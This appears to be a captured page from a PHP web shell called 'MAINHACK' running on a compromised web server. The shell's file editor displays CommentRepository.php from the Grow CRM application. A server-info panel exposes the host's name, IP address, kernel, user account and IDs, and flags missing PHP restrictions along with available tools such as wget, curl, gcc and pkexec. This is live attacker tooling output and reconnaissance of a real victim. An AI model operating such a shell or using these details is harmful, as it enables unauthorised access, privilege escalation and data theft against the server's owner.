[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CommentRepository.php
<?php /** -------------------------------------------------------------------------------- * This repository class manages all the data absctration for comments * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Repositories; use App\Models\Comment; use Illuminate\Http\Request; use Log; class CommentRepository { /** * The comments repository instance. */ protected $comments; /** * Inject dependecies */ public function __construct(Comment $comments) { $this->comments = $comments; } /** * Search model * @param int $id optional for getting a single, specified record * @return object comment collection */ public function search($id = '', $limit = 10000) { //new query $comments = $this->comments->newQuery(); // all client fields $comments->selectRaw('*'); //joins $comments->leftJoin('users', 'users.id', '=', 'comments.comment_creatorid'); $comments->leftJoin('clients', 'clients.client_id', '=', 'comments.comment_clientid'); //default where $comments->whereRaw("1 = 1"); //limit by id if (is_numeric($id)) { $comments->where('comment_id', $id); } //filters: resource type if (request()->filled('commentresource_type')) { $comments->where('commentresource_type', request('commentresource_type')); } //filters: resource type if (request()->filled('commentresource_id')) { $comments->where('commentresource_id', request('commentresource_id')); } //filter clients if (request()->filled('filter_comment_clientid')) { $invoices->where('comment_clientid', request('filter_comment_clientid')); } //default sorting $comments->orderBy('comment_id', 'desc'); return $comments->paginate($limit); } /** * Create a new record * @return mixed int|bool */ public function create() { //save new user $comment = new $this->comments; //data $comment->comment_creatorid = auth()->id(); $comment->comment_text = request('comment_text'); $comment->commentresource_type = request('commentresource_type'); $comment->commentresource_id = request('commentresource_id'); //save and return id if ($comment->save()) { return $comment->comment_id; } else { Log::error("saving record failed - database error", ['process' => '[CommentRepository]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__]); return false; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002